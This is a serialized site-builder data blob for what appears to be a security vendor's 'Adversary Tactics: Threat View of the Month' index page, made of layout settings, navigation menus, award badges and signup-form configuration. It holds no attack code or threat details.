Index",-46159.25,[3091],"42ef08vmmcc",{},{"_205":3092,"_3093":3094,"_3095":3096,"_209":421},"@builder.io/core:Query","operator","is","property","urlPath",{"_557":574,"_559":575,"_576":577},"componentsUsed",{"_3102":236,"_3103":236,"_3104":236,"_3105":236},"hasLinks","https://www.huntress.com/threat-library/adversary-tactics?builder.space=3eb6f92aedf74f109c7b4b0897ec39a8&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditCode%2CeditDesigns%2Cadmin%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CeditProjects%2CmodifyMcpServers%2CmodifyWorkflowIntegrations%2CmodifyProjectSettings%2CconnectCodeRepository%2CcreateProjects%2CindexDesignSystems%2CsendPullRequests%2CmergePullRequests&builder.user.role.name=Admin&builder.user.role.id=admin&builder.cachebust=true&builder.preview=page&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.page=866f5e547e02448b8dcd697e95e8267d&builder.overrides.866f5e547e02448b8dcd697e95e8267d=866f5e547e02448b8dcd697e95e8267d&builder.overrides.page:/threat-library/adversary-tactics=866f5e547e02448b8dcd697e95e8267d&builder.options.includeRefs=true&builder.options.enrich=true&builder.options.locale=Default","Base:Hero","BlogSignupSection","SolutionsIndexGridSection","v2:Hero","backgroundColor","var(--black, #000)","banner",{},"blocks",[3152,3153,3154,3155],"contentTags",{},"contextData",[3146],"eventDetails",{},"indexOverrides",{},"inputs",[],{},{"_181":3144,"_183":3145},"referenceDataModel","resource-guides.articles","resourceDetails",{},"secondaryNav",{},"showAdvanced","showBanner","sitemapIndexing","state",{"_3138":3139,"_3140":3141},"template","themeId",[93],"deviceSize","large","location",{"_3142":97,"_231":3143},"path",{},"Monthly threat intelligence from Huntress researchers — breaking down the latest adversary tactics, TTPs, and front-line telemetry to keep your defenses one step ahead.","Adversary Tactics: Threat View of the Month",{"_34":3147},{"_3148":3149,"_36":37,"_32":33,"_3150":3151},"fields","id,name,data","paging","all",{"_205":3156,"_3180":3181,"_3182":3311,"_54":3312,"_225":3313,"_3160":3314},{"_205":3156,"_3180":3181,"_3182":3255,"_54":3256,"_3160":3257},{"_205":3156,"_3180":3181,"_3182":3183,"_54":3184,"_3160":3185},{"_205":3156,"_54":3157,"_3158":3159,"_3160":3161,"_3162":3163},"@builder.io/sdk:Element","builder-pixel-28jok9fxo2c","properties",{"_3175":97,"_3176":3177,"_3167":3168,"_3178":3179,"_3174":3168},"responsiveStyles",{"_3139":3164},"tagName","img",{"_3165":3166,"_3167":3168,"_3169":3168,"_3170":3171,"_3172":3173,"_3174":3168},"display","block","height","0","opacity","overflow","hidden","pointerEvents","none","width","alt","aria-hidden","true","src","https://cdn.builder.io/api/v1/pixel?apiKey=3eb6f92aedf74f109c7b4b0897ec39a8","@version",2,"component",{"_3198":-5,"_56":3103,"_3199":3200},"builder-64c5a39ec8e646c5b124ae7b6fddb526",{"_3139":3186},{"_3187":3188,"_3165":3189,"_3190":3191,"_3192":3168,"_3193":3194,"_3195":3194,"_3196":3197},"boxSizing","border-box","flex","flexDirection","column","flexShrink","marginBottom","60px","marginTop","position","relative","isRSC","options",{"_3201":3202,"_3203":3204,"_3205":3206,"_3207":3208,"_102":3209,"_3210":3211,"_188":3212,"_3213":17,"_190":3214,"_3215":3216},"blogSignupForm",{"_3245":3246,"_3247":3248,"_3249":17,"_3250":17,"_3251":17,"_3252":3253,"_3254":17},"contentContainer",{"_3241":3242,"_3243":3244},"glitches",[3228],"gradient",{"_3217":3218,"_3219":3220,"_3221":3222,"_3223":95,"_3224":3225,"_3226":3227},"Sign Up for Blog Updates","headingQualifier","Heading Qualifier","https://images.huntress.com/asset/file/cb5efa5143804ba59d530a903d29fe5f","showHeadingQualifier","Subscribe today and you'll be the first to know when new content hits the blog.","theme","light","angle","60deg","angleRange",60,"blurSize",35,"show","size","blur(40px)","variant","gradientGreenBlue",{"_3229":3230,"_188":3231},"displayOn",{"_3232":95,"_3233":3234},"https://images.huntress.com/asset/file/3de86f848e7b4a788c5d296dbf0dc07c","desktop","desktopDisplayOptions",{"_3235":95,"_3196":3236,"_3174":3237},"displayBehindContent",{"_3238":3168,"_3239":3240},300,"right","top","45%","customWidth",1200,"maximumWidth","1200","formId","wf-form-Blog-Signup-Form","hubspotFormId","5198e52f-a296-4d78-935d-fe864d69a67a","showBlueGreenGradient","showBluePurpleGradient","showFormTitle","submitButtonText","Submit","useNeverBounce",{"_3198":-5,"_56":3104,"_3199":3263},"builder-fac7e60bf8c5409b8b84a6fb0bf55211",{"_3139":3258},{"_3187":3188,"_3165":3189,"_3190":3191,"_3192":3168,"_3193":3259,"_3260":3261,"_3195":3262,"_3196":3197},"72px","marginRight","var(--space-0, 0px)","var(--space-5, 24px)",{"_3264":37,"_3265":17,"_3205":3266,"_3267":17,"_3268":3269,"_3270":95},"contextDataIdentifier","enableContentTagFiltering",[3293,3294],"hidePageDescriptions","paginationOptions",{"_3271":3272,"_3273":3274,"_3275":3276,"_3277":3278,"_3279":3280,"_3281":3280,"_3282":3274,"_3283":3284,"_3285":3286,"_3287":3288,"_3289":17,"_3290":17},"useContextData","arrowImageUrl","https://images.huntress.com/asset/file/779e332a141048329fb98c924119138a","columnGap",20,"columns",{"_3232":3284,"_3291":236,"_3292":3181},"emptyStateMessage","No items found.","itemAlign","stretch","itemJustify","rowGap","rows",3,"scrollAnchorId","authors-list-pagination-scroll-anchor","scrollTo","anchor","showPaginationWhenOnePage","useZeroBasedIndex","mobile","tablet",{"_3229":3304,"_188":3305},{"_3229":3295,"_188":3296},{"_3232":17,"_3291":95,"_3297":3298,"_3292":95,"_3299":3300},"https://images.huntress.com/asset/file/134745e8b573443683ff217da8fe9080","mobileDisplayOptions",{"_3235":95,"_3196":3303,"_3174":3302},"tabletDisplayOptions",{"_3235":95,"_3196":3301,"_3174":3302},{"_3238":3168,"_3239":3168},150,{"_3238":3168,"_3239":3168},{"_3232":95,"_3233":3306},"https://images.huntress.com/asset/file/fe29eb38b03541f3b6419461e8c56719",{"_3196":3307,"_3174":3308},{"_3309":3310,"_3238":3168},250,"bottom","15%",{"_3198":-5,"_56":3105,"_3199":3318},"builder-7641bffd24334ff8a6f2533ae53b315b",{"_3316":3317},{"_3139":3315},{"_3187":3188,"_3165":3189,"_3190":3191,"_3192":3168,"_3193":3194,"_3195":3261,"_3196":3197},"localizedTextInputs",[102,190],{"_3319":3320,"_3321":3322,"_3323":3324,"_3325":3326,"_3327":3328,"_3329":3330,"_3205":3331,"_102":3332,"_3210":3333,"_3334":3335,"_3336":3337,"_3338":3339,"_3340":3341,"_3342":3343,"_3344":17,"_3345":17,"_3346":95,"_3213":17,"_3347":17,"_3348":95,"_190":3349,"_3350":3351,"_3352":3353,"_3354":3355},"borderConfig",{"_3309":95,"_3239":17},"breadcrumb",{"_60":3494,"_3495":95},"ctaQualifierOptions",{"_3492":3493},"ctas",[3484,3485],"desktopBlocks",[3480],"formBlock",[3475],[3465,3466],"

Adversary Tactics: Threat View of the Month

","Featured Case Study","justifyContentCopy",{"_3232":3464,"_3291":3464,"_3292":3464},"mediaContent",{"_3418":3419,"_3420":3421,"_3422":3423,"_3424":3425,"_3291":3426,"_3427":3428,"_3429":17,"_3430":3173,"_3431":17,"_3432":17,"_3433":17,"_3292":3426,"_3434":3435},"mediaGlowOptions",{"_3402":3403,"_3404":3405,"_3406":3403,"_3407":3403,"_3408":3409},"mobileBlocks",[3398],"paddingBottom","40px","showCTAs","showCtaQualifier","showHeading","showSummarizeWithAi","showSummary","

The monthly Adversary Tactics Threat View is your direct line to front-line telemetry we’re seeing at Huntress. We don't just report on threats: we dissect the tradecraft used to target your business. Stop playing catch-up with the latest TTPs and start shattering the adversary’s path to profitability. Be safe. Be vigilant. But first, stay informed.

","tabletBlocks",[3392],"tagNames",{"_3388":3389,"_3390":3391},"wordRotator",{"_3356":17,"_3357":3358},"enableWordRotator","wordRotatorOptions",{"_3359":3360,"_3361":3362},"animationSpeed",{"_3385":3386,"_3387":3302},"words",[3363,3364,3365,3366,3367,3368,3369,3370,3371,3372],{"_3373":3374,"_104":3384},{"_3373":3374,"_104":3383},{"_3373":3374,"_104":3382},{"_3373":3374,"_104":3381},{"_3373":3374,"_104":3380},{"_3373":3374,"_104":3379},{"_3373":3374,"_104":3378},{"_3373":3374,"_104":3377},{"_3373":3374,"_104":3376},{"_3373":3374,"_104":3375},"duration",2000,"Peace of Mind","Data","People","Organization","Identities","Business","Profits","Future","Endpoints","Enterprise","backspace",50,"typing","headingTagName","h1","qualifierTagName","div",{"_205":3156,"_3180":3181,"_3182":3393,"_54":3394},{"_3198":-5,"_56":3395,"_3199":3396},"builder-7851d349a30244b0b4778e84c2659d6b","Text",{"_104":3397},"

Huntress Managed ITDR

",{"_205":3156,"_3180":3181,"_3182":3399,"_54":3400},{"_3198":-5,"_56":3395,"_3199":3401},"builder-8d2c30a1e70f4f1892ce6d4b0b7ece6b",{"_104":3397},"desktopMediaGlow","no-glow","desktopMediaGlowOptions",{"_3410":3411,"_188":3417,"_3413":3414,"_3415":95,"_3416":17},"mobileMediaGlow","tabletMediaGlow","tabletMediaGlowOptions",{"_3410":3411,"_188":3412,"_3413":3414,"_3415":95,"_3416":17},"fetchPriority","high","https://images.huntress.com/asset/file/14a15009b07f43378ae7125650667174","loading","eager","presentation","zoomable","https://images.huntress.com/asset/file/28025cf38a014e3aa8fe01dd80ea812b","contentMediaGap",0,"copyMediaAlignment","content-start","copyMediaSplitPercentage","split-70-30","default",{"_3436":3460,"_3438":3173,"_3439":3461,"_3441":3462,"_3443":3463},"use-default-options","mobileMediaContentOptions",{"_3436":3456,"_3438":188,"_3439":3457,"_3441":3458,"_3443":3459},"overflowMedia","previousMediaContentType","reverseOrderOnDesktop","reverseOrderWhenStacked","stackOnDesktop","tabletMediaContentOptions",{"_3436":3437,"_3438":188,"_3439":3440,"_3441":3442,"_3443":3444},"imageOptions",{"_3410":3411,"_188":3455,"_3413":3414,"_3415":17,"_3416":17},"mediaContentType","storylaneOptions",{"_3453":3454},"videoPlayerOptions",{"_3449":17,"_3445":3450,"_3451":3452},"wistiaPlayerOptions",{"_3445":3446,"_3447":3448},"poster","https://images.huntress.com/asset/file/233fea1218104f50ae2d579a9874185a","wistiaId","od2hso47z4","autoPlay","https://images.huntress.com/asset/file/0a63940a9c034bbfb89f60eed7a973a2","video","https://cdn.builder.io/o/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff20e34a1818345448a7ca0bf9ac8944c?alt=media&token=65325cff-7267-4865-8a48-45d74530d5d9&apiKey=3eb6f92aedf74f109c7b4b0897ec39a8&optimized=true","storylaneId","ydcsbfybwjde","https://images.huntress.com/asset/file/11ab66c9ece240ffb779043de770f2bc",{"_3410":3411,"_188":3455,"_3413":3414,"_3415":17,"_3416":17},{"_3453":3454},{"_3449":17,"_3445":3450,"_3451":3452},{"_3445":3446,"_3447":3448},{"_3410":3411,"_188":3455,"_3413":3414,"_3415":17,"_3416":17},{"_3453":3454},{"_3449":17,"_3445":3450,"_3451":3452},{"_3445":3446,"_3447":3448},"left",{"_3229":3472,"_188":3305},{"_3229":3467,"_188":3296},{"_3232":17,"_3291":95,"_3297":3468,"_3292":95,"_3299":3469},{"_3235":95,"_3196":3471,"_3174":3302},{"_3235":95,"_3196":3470,"_3174":3302},{"_3238":3168,"_3239":3168},{"_3238":3168,"_3239":3168},{"_3232":95,"_3233":3473},{"_3196":3474,"_3174":3308},{"_3309":3310,"_3238":3168},{"_205":3156,"_3180":3181,"_3182":3476,"_54":3477},{"_3198":-5,"_56":3478,"_3199":3479},"builder-d99c686ce4864cccbd9bd1cb72110ba9","Form:Dynamic",{},{"_205":3156,"_3180":3181,"_3182":3481,"_54":3482},{"_3198":-5,"_56":3395,"_3199":3483},"builder-1ba26f4b9d4e4c8b95531b2ab78b5fc7",{"_104":3397},{"_3486":3487,"_3224":3139,"_104":3490,"_196":194,"_3226":3491},{"_3486":3487,"_3224":3139,"_104":3488,"_196":101,"_3226":3489},"ctaTarget","_self","Get a Demo","outline","Start for Free","solid","ctaQualifierText","Fully Functional Trial
No Credit Card Required",[3496,3497,3498],"showBreadcrumbs",{"_420":3499,"_418":3500},{"_420":422,"_418":423},{"_420":97,"_418":180},"/","Home","preprod","indexedLocales",[],"common",{"_3516":3517,"_3518":3519,"_3520":3521,"_3522":3523,"_3524":-5,"_3525":-5},"enabledLocales",[],"localeSwitcherEnabled","designVersion","v2","designTheme","dark","isNonProd","origin","http://www.huntress.com","headerContent",{"_3741":3742,"_3743":3744,"_3745":3746},"footerContent",[3602,3603,3604,3605,3606,3607],"g2Awards",[3536,3537,3538,3539],"assetTypes",[3526,3527,3528,3529,3530,3531,3532,3533,3534,3535],"hubspotEnrichData","autofill","Checklist","Datasheet","Ebook","Handbook","Infographic","On-Demand Virtual Event","Report","Success Kit","Video","Whitepaper",{"_34":3586,"_54":3587,"_56":3588},{"_34":3574,"_54":3575,"_56":3576},{"_34":3558,"_54":3559,"_56":3560},{"_34":3540,"_54":3541,"_56":3542},{"_3543":468,"_3544":3545},"a15035cbedea4437bf339e54f6573731","Managed ITDR Awards","category","images",[3546,3547,3548,3549],{"_58":3556,"_188":3557},{"_58":3554,"_188":3555},{"_58":3552,"_188":3553},{"_58":3550,"_188":3551},"G2 Summer 2026 Managed ITDR Best Relationship Badge","https://images.huntress.com/asset/file/a7d6e5ffadd24bd089bec898126f9911","G2 Summer 2026 Managed ITDR Best Usability Badge","https://images.huntress.com/asset/file/a0f52fc940d94925a1eff364249a2ce2","G2 Summer 2026 Managed ITDR Best Estimated ROI Badge","https://images.huntress.com/asset/file/62f633b582cd4af792766436f07c34e0","G2 Summer 2026 Managed ITDR Leader Badge","https://images.huntress.com/asset/file/3814a40fd89c44c4a783f59c02f60636",{"_3543":470,"_3544":3561},"f4f2c8064b7e4e92b01a3c95a41dde18","Managed EDR Awards",[3562,3563,3564,3565],{"_58":3572,"_188":3573},{"_58":3570,"_188":3571},{"_58":3568,"_188":3569},{"_58":3566,"_188":3567},"G2 Summer 2026 Managed EDR Best Relationship Badge","https://images.huntress.com/asset/file/cb55636d05764b10aadd2171e084649d","G2 Summer 2026 Managed EDR High Performer — Enterprise Badge","https://images.huntress.com/asset/file/6b49410a06a3486dab4871c728374406","G2 Summer 2026 Managed EDR Best Results Badge","https://images.huntress.com/asset/file/68b6d485ec2549d482ae2fd55a9998cc","G2 Summer 2026 Managed EDR Leader Badge","https://images.huntress.com/asset/file/109be4090231496fb9e55733bfba2175",{"_3543":3424,"_3544":3577},"9b043f11647d490c8780d9136cf88b34","Default G2 Awards",[3578,3579,3580,3581],{"_58":3572,"_188":3573},{"_58":3570,"_188":3571},{"_58":3584,"_188":3585},{"_58":3582,"_188":3583},"G2 Summer 2026 Managed EDR Fastest Implementation — Enterprise Badge","https://images.huntress.com/asset/file/2fc0014953834b6eb0f0f5c0ec607845","G2 Summer 2026 Managed EDR High Performer — Asia Pacific Badge","https://images.huntress.com/asset/file/dec7137165de47498c5e143b47d9b2a3",{"_3543":464,"_3544":3589},"b1ef1fa50cc44b4cb964fcd76ce27c47","Managed SAT Awards",[3590,3591,3592,3593],{"_58":3600,"_188":3601},{"_58":3598,"_188":3599},{"_58":3596,"_188":3597},{"_58":3594,"_188":3595},"G2 Summer 2026 Managed SAT Leader — Small Business — EMEA Badge","https://images.huntress.com/asset/file/d91dae99a6be4e7e869fc114a79f67d7","G2 Summer 2026 Managed SAT Leader Badge","https://images.huntress.com/asset/file/910b842354c94d63a96a531172611e3c","G2 Summer 2026 Managed SAT Leader — Small Business Badge","https://images.huntress.com/asset/file/cfdc70ec7db8485f973a7d84d39d5ed8","G2 Summer 2026 Managed SAT Momentum Leader Badge","https://images.huntress.com/asset/file/2faf248c5e7f457f928a141d9d49ad47",{"_34":3729,"_54":3730,"_56":3731},{"_34":3703,"_54":3704,"_56":890},{"_34":3674,"_54":3675,"_56":3676},{"_34":3654,"_54":3655,"_56":3656},{"_34":3631,"_54":3632,"_56":3633},{"_34":3608,"_54":3609,"_56":3610},{"_3611":3612,"_183":3610,"_3613":3611,"_91":3614},"c211d3560ba74bc9a088ee63b66293ab","About","links",[3615,3616,3617,3618,3619],"type",[93],{"_3620":3629,"_196":3630},{"_3620":3627,"_196":3628},{"_3620":3625,"_196":3626},{"_3620":3623,"_196":3624},{"_3620":3621,"_196":3622},"linkText","Contact Us","/contact-us","Careers","/company/careers","News & Press","/company/press","Leadership","/company/leadership","Our Company","/company/our-story",{"_3611":3634,"_183":3633,"_3613":3611,"_91":3635},"7c53b226c0d14e18856978d679c98b2a","Resources",[3636,3637,3638,3639,3640],[93],{"_3620":3652,"_196":3653},{"_3620":3650,"_196":3651},{"_3620":3648,"_3643":3487,"_196":3649},{"_3620":3646,"_196":3647},{"_3620":3641,"_3642":95,"_3643":3644,"_196":3645},"Support Documentation","nofollow","target","_blank","https://support.huntress.io/hc/en-us","Upcoming Events","/upcoming-events","Cybersecurity 101","/cybersecurity-education/cybersecurity-101","Resource Center","/resources","Blog","/blog",{"_3611":3657,"_183":3656,"_3613":3611,"_91":3658},"eaae2a88df264ce8987bc9b7803d090a","Why Huntress?",[3659,3660,3661,3662,3663],[93],{"_3620":3672,"_196":3673},{"_3620":3670,"_196":3671},{"_3620":3668,"_196":3669},{"_3620":3666,"_196":3667},{"_3620":3664,"_196":3665},"Case Studies","/why-huntress/case-studies","24/7 SOC","/why-huntress/24-7-soc","IT & Security Teams","/why-huntress/it-security-teams","Resellers","/partners/resellers","Managed Service Providers","/partners/msps",{"_3611":3677,"_183":3676,"_3613":3611,"_91":3678},"48e36f6d9651423da2291512cdde8b9e","Solutions",[3679,3680,3681,3682,3683,3684,3685,3686],[93],{"_3620":3701,"_196":3702},{"_3620":3699,"_196":3700},{"_3620":3697,"_196":3698},{"_3620":3695,"_196":3696},{"_3620":3693,"_196":3694},{"_3620":3691,"_196":3692},{"_3620":3689,"_196":3690},{"_3620":3687,"_196":3688},"State & Local Government","/industries/state-and-local-government","Manufacturing","/industries/manufacturing","Healthcare","/industries/healthcare","Finance","/industries/financial-services","Education","/industries/education","Business Email Compromise","/use-cases/business-email-compromise","Compliance","/use-cases/cybersecurity-compliance","Phishing","/use-cases/phishing",{"_3611":3705,"_183":890,"_3613":3611,"_91":3706},"508d2fee7ccc4b62af82033c8240810d",[3707,3708,3709,3710,3711,3712,3713,3714,3715,3716],[93],{"_3620":3727,"_196":3728},{"_3620":470,"_196":3726},{"_3620":3724,"_196":3725},{"_3620":3722,"_3643":3487,"_196":3723},{"_3620":468,"_196":3721},{"_3620":466,"_196":3720},{"_3620":464,"_196":3719},{"_3620":2367,"_3643":3487,"_196":3718},{"_3620":3023,"_3643":3487,"_196":3717},{"_3620":99,"_196":101},"/platform/managed-espm","/platform/managed-ispm","/platform/security-awareness-training","/platform/siem","/platform/managed-itdr","Managed EDR for Linux","/platform/managed-edr/linux","Managed EDR for macOS","/platform/managed-edr/macos","/platform/managed-edr","Huntress Managed Security Platform","/platform",{"_66":3732,"_183":3731,"_3613":3733,"_91":3734},"a8fca4868d8f440489acb2b0b275d583","50 50 CTA Section",{"_3735":3736,"_3737":3738,"_3739":3740},"50-50-content",[93],"formHeading","Join the Hunt","formSummary","

Get insider access to Huntress tradecraft, killer events, and more.

","leftPanelSummary","

Partnering with 285k+ organizations like yours for enterprise-grade protection.

","mainNavigationContent",[3796,3797,3798,3799,3800,3801,3802],"generalNavigationContent",{"_34":3769,"_54":3770,"_56":3771},"utilityNavigationContent",[3747,3748,3749,3750],{"_34":3764,"_54":3765,"_56":3766},{"_34":3760,"_54":3761,"_56":3762},{"_34":3757,"_54":3758,"_56":3652},{"_34":3751,"_54":3752,"_56":3753},{"_301":-5,"_3754":-5,"_3755":-5,"_3643":3487,"_104":3753,"_196":3622,"_91":3756},"2e817b99333e43558f80a62e15f6ca34","Contact","noOpener","noReferrer",[93],{"_301":-5,"_3754":-5,"_3755":-5,"_3643":3487,"_104":3652,"_196":3653,"_91":3759},"e77d329e44f740e19119846f979bb482",[93],{"_301":95,"_3754":95,"_3755":95,"_3643":3644,"_104":3762,"_196":3645,"_91":3763},"d6f4ad9f23684304b90c2e8714f026a1","Support",[93],{"_301":95,"_3754":-5,"_3755":-5,"_3643":3644,"_104":3766,"_196":3767,"_91":3768},"acf951ac3c78411c93de07af387dd39c","Portal Login","https://huntress.io/",[93],{"_3325":3772,"_3773":3774,"_3775":3776,"_91":3777},"7c4c5fd87f0c4daaae1dc870e407e0bf","Primary",[3786,3787],"mainNavigationBar",{"_3782":3783},"utilityNavigationBar",{"_3778":3779},[93],"message",{"_3643":3487,"_104":3780,"_196":3781},"Deception is moving at machine speed. Learn to keep pace.","/security-topics/deception-at-machine-speed","logo",{"_58":3784,"_188":3785,"_3643":3487,"_196":3499},"Huntress Logo in Teal","https://images.huntress.com/asset/file/bf879a26d9994fd8b3b0d8878c9474f4",{"_186":3789},{"_186":3788},{"_195":196,"_3224":559,"_3643":3487,"_104":3490,"_196":194,"_3226":3491},{"_195":196,"_3224":559,"_3643":3487,"_104":3488,"_196":101,"_3226":3489,"_3790":3791},"visibility",{"_3792":95,"_3793":95,"_3794":95,"_3795":95},"hideOnDesktop","hideOnMobile","hideOnMobileLandscape","hideOnTablet",{"_3275":4485,"_4130":4486,"_3804":4487,"_3613":3808,"_91":4488,"_3810":-5},{"_3275":4293,"_4130":4294,"_3804":3676,"_3613":3808,"_91":4295,"_3810":-5},{"_3275":4284,"_3804":4285,"_4286":17,"_3810":4287,"_3806":4288,"_3613":4289,"_91":4290},{"_3275":4129,"_4130":4131,"_3804":3633,"_3613":3808,"_91":4132,"_3810":-5},{"_3275":4006,"_3804":4007,"_3933":17,"_3806":4008,"_3613":3808,"_91":4009,"_3810":-5},{"_3275":3929,"_3930":3931,"_3804":3932,"_3933":95,"_3613":3808,"_91":3934,"_3810":-5},{"_3275":3803,"_3804":3805,"_3806":3807,"_3613":3808,"_91":3809,"_3810":-5},[3811,3812],"menuText","Company","sourceContentOverride",{},"Menu",[93],"source",{"_56":3897,"_115":3898,"_3226":3424},{"_3813":3181,"_56":3814,"_115":3815,"_3226":3424},"columnSpan","Column 2",[3816,3817],{"_3818":97,"_3820":3859,"_3822":3860,"_3824":95,"_3825":-5,"_3826":3861,"_3810":3862},{"_3818":3819,"_3820":3821,"_3822":3823,"_3824":95,"_3825":3419,"_3826":3827,"_3810":3828},"flowDirection","row","items",[3832,3833],"itemsLayout",{"_3818":3819,"_3825":3419},"noHeading","rowItemCount","sectionLayout",{"_3829":3830},{},"showSectionSeparator",{"_3831":95,"_3291":17},"hideSeparatorLineMobile",{"_3834":3850,"_3836":3851},{"_3834":3835,"_3836":3837},"item",{"_3226":3838,"_3810":3846},"mobileItem",{"_3226":3838,"_3839":-7,"_3810":3840},"Text Link","overrideLayout",{"_102":3621,"_3841":95,"_3842":3843,"_3844":95,"_3845":95,"_196":3622},"hideSubheading","subheading","Want to chat with someone in sales, ask a question, or learn about one of our open roles? Contact us and we’ll get back to you as soon as we can!","hideEyebrow","hideImage",{"_102":3621,"_3841":95,"_3842":3843,"_3844":95,"_188":3847,"_3848":3849,"_196":3622},"https://images.huntress.com/asset/file/2e958e7931e347119a8858f4dc258c9b","v2Image","https://images.huntress.com/asset/file/7d1d62e3e4e74ea5a7ee744dfd55d645",{"_3226":3838,"_3810":3856},{"_3226":3838,"_3839":-7,"_3810":3852},{"_102":3853,"_3841":95,"_3842":3854,"_3844":95,"_3845":95,"_196":3855},"Awards","Don’t just take our word for it—see the awards and accolades received by Huntress. ","/company/awards-and-accolades",{"_102":3853,"_3841":95,"_3842":3854,"_3844":95,"_188":3857,"_3848":3858,"_196":3855},"https://images.huntress.com/asset/file/c9d1294fc830417b86d8b806efafe118","https://images.huntress.com/asset/file/d1428a27e4a647bc8bc81a73d6975ea8",[3870,3871,3872,3873],{"_3818":3819,"_3825":3181},{"_3863":3864,"_3865":236,"_3866":3867,"_3829":3868,"_3869":236},{},"alignSelf","start","grow","justifyContent","center",{"_3232":95,"_3291":95},"shrink",{"_3834":3891},{"_3834":3885},{"_3834":3879},{"_3834":3874},{"_3226":3838,"_3810":3875},{"_102":3623,"_3842":3876,"_188":3877,"_3848":3878,"_196":3624},"

Ready to shake up the cybersecurity world? Join the hunt.

","https://images.huntress.com/asset/file/8f117f73053b4dcb927c656d94560f27","https://images.huntress.com/asset/file/12370ebec3454ac6911cb15830d4bb75",{"_3226":3838,"_3810":3880},{"_102":3881,"_3842":3882,"_3844":95,"_188":3883,"_3848":3884,"_196":3628},"Meet the Team","

Founded by former NSA Cyber Operators. Backed by security researchers.

","https://images.huntress.com/asset/file/424d46a865414decac2aa008bda47094","https://images.huntress.com/asset/file/c65cd698978649ffba543dd57fbdbf83",{"_3226":3838,"_3810":3886},{"_102":3887,"_3842":3888,"_3844":95,"_188":3889,"_3848":3890,"_196":3626},"Newsroom","

Explore press releases, news articles, media interviews and more.

","https://images.huntress.com/asset/file/7170db3e023148249ff49a3b88b0de83","https://images.huntress.com/asset/file/f52c643f26b545baa9ca9acfd18cedc0",{"_3226":3838,"_3810":3892},{"_102":3893,"_3842":3894,"_3844":95,"_188":3895,"_3848":3896,"_196":3630},"Our Story","

We're on a mission to shatter the barriers to enterprise-level security.

","https://images.huntress.com/asset/file/4e65b81ddab34c63a79949f1ca1db341","https://images.huntress.com/asset/file/4bfa714fd3f440fc84a3c3f0e73a1475","Featured Press Release",[3899],{"_3818":3191,"_3820":3900,"_3822":3901,"_3824":95,"_3826":3902,"_3810":3903},[3905],{},{"_3829":3904},{},{"_3831":95,"_3291":95},{"_3834":3906,"_3836":3907},{"_3908":3924,"_3226":3925,"_3810":3926},{"_3908":3909,"_3226":3910,"_3911":3912,"_3839":-7,"_3810":3913},"cardProperties",{"_3923":3491},"Small Card","smallCardProperties",{"_3921":3922},{"_102":3914,"_3841":95,"_3842":3915,"_3916":3917,"_3918":95,"_188":3919,"_196":3920},"Huntress Surpasses $250 Million in ARR and 270,000 Businesses Protected, Advancing its Mission to Make Cybersecurity Accessible to All","Growth fueled by expanded AI innovation, global reach, executive leadership, and education to combat AI-enabled organized cybercrime for ALL businesses","eyebrow","Press Release","eyebrowIsContentType","https://images.huntress.com/asset/file/caf0d5e2c85c477a9f9035618b0e2371","/press-release/huntress-surpasses-250-million-in-arr","linesBeforeTruncate","3","backgroundVariant",{"_3923":3491},"Card",{"_102":3914,"_3927":559,"_3841":95,"_3842":3915,"_3916":3917,"_3918":95,"_188":3928,"_196":3920},"headingFontSize","https://images.huntress.com/asset/file/1ca9a2e8b1bb46169e2e99b34f46d9f3",[3936,3937],"dropdownLayout",{"_3935":97},"Partners","reverseColumnsOnMobile",[93],"horizontalOffset",{"_3813":236,"_56":3981,"_115":3982,"_3226":3424},{"_3813":236,"_56":3938,"_115":3939,"_3226":3424},"Partner Related Links",[3940],{"_3941":95,"_3818":3191,"_3820":3942,"_3822":3943,"_3824":17,"_3826":3944,"_3945":3932,"_3810":3946},"collapsibleOnMobile",[3952,3953,3954,3955],{},{"_3863":3864,"_3866":3867,"_3829":3951},"sectionName",{"_102":3932,"_3947":3948,"_3842":3949,"_196":3950},"headingFontColor","green","Looking to bridge the security gap? Partner with Huntress for the tools and platform you need to augment your staff and scale your technical integrations. ","/partners",{"_3831":17,"_3291":95},{"_3834":3975},{"_3834":3970},{"_3834":3963},{"_3834":3956},{"_3226":3838,"_3810":3957},{"_102":3958,"_3842":3959,"_3844":95,"_188":3960,"_3848":3961,"_196":3962},"Microsoft Partnership","

A Level-Up for Your Business Security

","https://images.huntress.com/asset/file/4c51b19e07db4998921e15175320f9a7","https://images.huntress.com/asset/file/22121d9318104ce7a6eeadd53aad0e33","/why-huntress/partnerships/huntress-and-microsoft-better-together",{"_3226":3838,"_3810":3964},{"_102":3965,"_3842":3966,"_3844":95,"_188":3967,"_3848":3968,"_196":3969},"Tech Alliances","

Driving innovation through global technology Partnerships

","https://images.huntress.com/asset/file/f5189e4920554855b15e98b3da4775d9","https://images.huntress.com/asset/file/4afa27b478dd489ca52b3adefe9b2caa","/partners/alliances",{"_3226":3838,"_3810":3971},{"_102":3670,"_3842":3972,"_3844":95,"_188":3973,"_3848":3974,"_196":3671},"

Partner program designed to grow your cybersecurity business.

","https://images.huntress.com/asset/file/36e7fd5abe684d40bd8e7e19bef59473","https://images.huntress.com/asset/file/5755655e3d5a4ed183fd2838e03e9f47",{"_3226":3838,"_3810":3976},{"_102":3977,"_3842":3978,"_3844":95,"_188":3979,"_3848":3980,"_196":3673},"MSPs","

Join our partner community to deliver expert-led managed security.

","https://images.huntress.com/asset/file/c5200da826f048ec82c1928346f06609","https://images.huntress.com/asset/file/823cb7d1f6164a80bf0dad244f943307","Huntress Hub",[3983],{"_3813":236,"_3818":3191,"_3820":3984,"_3824":95,"_3985":95,"_3986":3981,"_3810":3987},[3988],"noTitle","sectionTitle",{},{"_3834":3989},{"_3908":3990,"_3839":17,"_3911":3991,"_3226":3925,"_3810":3992},{"_3923":3207,"_3998":3999,"_4000":4001,"_4002":95,"_4003":3999},{"_3921":3997},{"_102":3993,"_3842":3994,"_188":3995,"_196":3996,"_3643":3644},"HUNTRESS HUB","

